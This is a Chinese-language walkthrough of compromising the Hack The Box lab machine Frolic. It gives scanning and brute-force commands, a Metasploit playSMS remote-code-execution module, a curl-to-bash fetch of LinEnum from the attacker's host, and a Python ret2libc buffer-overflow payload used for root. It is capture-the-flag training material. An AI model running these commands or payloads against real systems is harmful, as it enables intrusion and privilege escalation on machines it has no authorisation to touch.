【HTB系列】靶机Frolic的渗透测试详解
出品|MS08067实验室(www.ms08067.com)
本文作者:大方子(Ms08067实验室核心成员)
Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提升渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。
https://www.hackthebox.eu/
平台上有很多靶机,从易到难,黑客每入侵一台机器都会获得相应积分,通过积分排名设有名人堂。今天要实验的是靶机Frolic。
首先我们用nmap扫描靶机开放的端口和服务:
nmap -sV -sT -sC 10.10.10.111
结果如下
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 14:49 CST
Nmap scan report for 10.10.10.111
Host is up (0.33s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h50m00s, deviation: 3h10m30s, median: -1s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2019-03-31T12:20:18+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-03-31 14:50:18
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.62 seconds
可以看到22号端口上的SSH,139和445的SMB,和9999端口上的http。
我们先检查下SMB有没有可以利用的点,这里用smbmap看看靶机的文件的共享情况
smbmap -H 10.10.10.111
出现2个共享但是我们没有访问的权限。
我们去http看下
*技巧提示:可以使用nc -zx IP 端口 可以快速检测目标地址指定端口是否打开。
在这我们 nc -zx 10.10.10.111 1880 会出现
10.10.10.111: inverse host lookup failed: Unknown host
(UNKNOWN) [10.10.10.111] 1880 (?) open
这里的open说明1880端口是打开的
一个欢迎页面,底下有一行Thankyou for using nginx. http://forlic.htb:1880
我们访问下10.10.10.111:1880
一个后台,我们需要账号密码,尝试一些常见默认账号和密码登陆会出现提示登陆失败,但是当我用admin:password的时候,页面会一直卡着不会跳出任何提示,也不知道为什么,而且这里因为做了安全措施失败多次会让我们等10分钟再试,所以是不能用过暴力破解来得到账号密码的
我们用gobuster爆破下网站的目录
gobuster -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o fronlic-gobuster.log -t 40
Gobuster还是扫描出了部分,我们直接看看这些都是什么
/backup:
/dev:
/test:
/admin:
我们看到backup里面有3个文件(password.txt user.txt loop/)
我们访问下http://10.10.10.111:9999/backup/password.txt
出现内容:password - imnothuman
我们访问下http://10.10.10.111:9999/backup/user.txt
出现内容:user - admin
这样我们就得到一组账号密码:admin: imnothuman
去刚刚那个Node-RED尝试登陆
发现不行,我们去/admin试试
提示出现 You have left 2 attempt,我用burp抓包发现并没有任何信息,我查看了源码的JS发现这个
作者的一个小把戏,我们在页面上输入 admin: superduperlooperpassword_lol
进去发现是一堆乱七八糟的东西
应该是一种编码,这也把这堆东西复制到谷歌里面去找到了这个网站
https://www.dcode.fr/ook-language
访问下/ asdiSIAJJ0QWE9JAS
用vim写入frolic.bas64(里面会有空格出现记得去除,可以用vim的命令行输入 s/ //g去)
用base64进行解码
出现乱七八糟的东西,因为是别的文件数据,我们导出到一个文件并检查类型
base64 -d frolic.bas64 > frolic
file frolic
发现是一个ZIP文件
用mv给它重命名下,并用zipinfu查看下信息
mv frolic frolic.zip
zipinfo frolic.zip
解压发现需要密码
我们用zip2john把这个压缩文件转换为密码HASH,然后用john去破解下
zip2john frolic.zip > frolic.zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt frolic.zip.hash
john frolic.zip.hash --show
找到密码:password
然后再次解压
Cat下内容感觉像是16进制,我们转换下试试看
cat index.php | xxd -r -ps
把这些内容输出到一个文件内并用base64转码下,注意这里的输出到文件带有换行需要去除文件里面的换行
cat index.php | xxd -r -p > index.php.b64
这段同样需要解密,我同样用GOOGLE找到对应破解的网站
网站:https://www.dcode.fr/langage-brainfuck
解密结果:idkwhatispass
到这里已经没什么线索,我们总共得到2组密码,说明应该还有网页没有被我们找到,密码应该属于没有被我们找到的网页的
这里我们在第一次爆破的基础上继续爆破输入命令
for i in admin dev test backup loop;do gobuster -u http://10.10.10.111:9999/$i -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150 -o Fronlic-gobuster-$i.log;done
这段命令就是让admin dev test backup loop
和http://10.10.10.111:9999/
进行组合然后调用gobuster进行扫描输出,我们需要等待段时间
我们会找到在/dev下还有个/backup目录
访问下
然后尝试用我们刚刚得到的密码进行登陆。
正确的账号密码:admin:idkwhatispass
我们查找看看playsms有没有已知可以利用的漏洞
searchsploit playsms
我们直接使用1.4版本的 远程代码执行漏洞
我们可以 searchsploit-x Path 查看对应的漏洞说明,手动利用
也可以使用msf中集成好的
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass
password => idkwhatispass
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999
rport => 9999
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111
rhosts => 10.10.10.111
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms
targeturi => /playsms
msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 10.10.15.36
lhost => 10.10.15.36
msf5 exploit(multi/http/playsms_uploadcsv_exec) > run
成功后会返回一个会话
得到user flag
接下来就是提权获得root权限
这里我们用到LinEnum用来检查可以用来提权的利用点
Github:https://github.com/rebootuser/LinEnum
使用python的SimpleHTTPServer的模块把LineEnum上传到靶机执行
然后在shell中执行
curl http://10.10.15.36:8000/LinEnum.sh | bash
在这里我们看到带有SUID的文件有一个是ayush的目录下
可以看到这个文件我们拥有可执行权限
会获取我们的输入然后输出
我们通过
base64 rop
得到这个文件内容的的编码内容,然后在放回到本机对这个文件解码进行查看调试
base64 -d rop.ba64 > rop
chmod +x rop
./rop hello
然后我们本地用gdb进行调试
gdb rop
插件peda的安装:https://blog.csdn.net/gatieme/article/details/63254211
我们生产一个100长度的输入给rop
结果如下
发现程序被终止并提示了SIGSEGV
因为输入过多导致溢出
我们记录下上面发生错误的位置 0x41474141
转化下就是AGAA
就是我们刚刚输入的这个位置
用pattern_offset 0x1474141计算下位置,是52
然后我们用python输出52个A
同时在后面加上自己的信息
转化下0x7a666473
说明52个字符后就会产生溢出。
现在我们需要知道/bin/sh的地址,我不会像以前那样通过在环境变量中加载字符串来实现。有一种更好的方法,首先我们需要找到/bin/shin 的偏移量libc,我们将用它strings来获取地址:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
地址:0x0015ba0b
然后我们需要地址libc,我们可以使用ldd它来获取它:
ldd rop
地址:0xb7e19000
然后我们将整合两个地址来获取 /bin/sh的真正地址
/bin/sh:0x0015ba0b+ 0xb7e19000=0xb7f74a0b
现在我们需要的system()和exit()的地址
这里我需要在靶机上运行gdb查看,但是靶机没有gdb,我们需要从github上然后下载传到靶机上,靶机可以用wget命令进行下载,然后给gdb 加执行权限,最后对rop进行调试
Github:https://github.com/hugsy/gdb-static/blob/master/gdb-7.10.1-x32
wget http://10.10.15.36:8000/gdb-7.10.1-x32
mv gdb-7.10.1-x32 gdb
chmod +x gdb
./gdb /home/ayush/.binary/rop
通过
(gdb)p system
(gdb)p exit
写成payload
#!/usr/bin/python
import struct
buf = "A" * 52
system = struct.pack("I" ,0xb7e53da0)
exit = struct.pack("I" ,0xb7e479d0)
shell = struct.pack("I" ,0xb7f74a0b)
print buf + system + exit + shell
然后把exp上传到靶机中去得到root权限
转载请联系作者并注明出处!
【HTB系列】靶机Frolic的渗透测试详解的更多相关文章
- 【HTB系列】靶机Access的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
- 【HTB系列】靶机Chaos的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...
- 【HTB系列】靶机Vault的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.213 靶机地址:10.10.10.109 先用nmap探 ...
- 【HTB系列】靶机Teacher的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.50 靶机地址:10.10.10.153 先用nmap 对 ...
- 【HTB系列】 靶机Swagshop的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结与反思 使用vi提权 magento漏洞的利用 magescan 工具的使用 靶机 ...
- SpringBoot系列(六)集成thymeleaf详解版
SpringBoot系列(六)集成thymeleaf详解版 1. thymeleaf简介 1. Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎. 2. Thymeleaf ...
- Spring框架系列(8) - Spring IOC实现原理详解之Bean实例化(生命周期,循环依赖等)
上文,我们看了IOC设计要点和设计结构:以及Spring如何实现将资源配置(以xml配置为例)通过加载,解析,生成BeanDefination并注册到IoC容器中的:容器中存放的是Bean的定义即Be ...
- Spring框架系列(11) - Spring AOP实现原理详解之Cglib代理实现
我们在前文中已经介绍了SpringAOP的切面实现和创建动态代理的过程,那么动态代理是如何工作的呢?本文主要介绍Cglib动态代理的案例和SpringAOP实现的原理.@pdai Spring框架系列 ...
- Spring框架系列(12) - Spring AOP实现原理详解之JDK代理实现
上文我们学习了SpringAOP Cglib动态代理的实现,本文主要是SpringAOP JDK动态代理的案例和实现部分.@pdai Spring框架系列(12) - Spring AOP实现原理详解 ...
随机推荐
- ping 路由跟踪
pathping: pathping ip地址/网址 C:\Users\Administrator>pathping 119.29.18.11 通过最多 30 个跃点跟踪到 119.29.18. ...
- jquery表格插件Datatables使用、快速上手
Datatables使用 一.简介 官网:https://datatables.net/ 中文官网:http://datatables.club/ Datatables是一款jquery表格插件.它是 ...
- VsCode通过SSH连接远程服务器开发
前言 nil 正文 安装插件 安装VsCode官方插件 Remote - SSH Remote - SSH: Editing Configuration Files WSL(远程桌面连接需要Remot ...
- 【SpringMVC】SpringMVC 异常处理
SpringMVC 异常处理 文章源码 异常处理思路 系统中异常包括两类:预期异常和运行时异常,前者通过捕获异常从而获取异常信息,后者主要通过规范代码开发.测试通过手段减少运行时异常的发生. Cont ...
- 基于 MPI/OpenMP 混合编程的大规模多体(N-Body)问题仿真实验
完整代码: #include <iostream> #include <ctime> #include <mpi.h> #include <omp.h> ...
- 二进制格式 PLY 模型文件的读取与渲染
PLY 文件头部信息: ply format binary_little_endian 1.0 comment VCGLIB generated element vertex 13469 proper ...
- windows打包脚本出现 /bin/sh^M: 坏的解释器: 没有那个文件或目录 错误
1.错误描述 我在Windows 10 系统下打包dolphinscheduler,上传到centos7解压之后,执行脚本报如下错误: -bash: ./dolphinscheduler-daemon ...
- 定制个性化的GUI
你现在还在使用SAP GUI710或者是GUI720,又或者更早的640等吗?那么古董先生,推荐您使用GUI730吧,您可能会730好在哪?那我建议您去百度或者Google问吧.对于新的GUI730, ...
- 05--Docker对DockerFile解析
一.是什么: 1.1 DockerFile是用来构建Docker镜像的构建文件,是由一系列命令和参数构成的脚本 1.2 构建步骤: 1.2.1 编写Dockerfile文件 1.2.2 docker ...
- LuoguP5075 [JSOI2012]分零食
题意 有\(A\)个人,\(m\)个糖,你可以选择一个\(k\),使第\(1\)$k$个人每个人至少得到一个糖,并且第$k+1$\(A\)个人都得不到糖.\(m\)个糖必须给完.对于每个方案都有一个欢 ...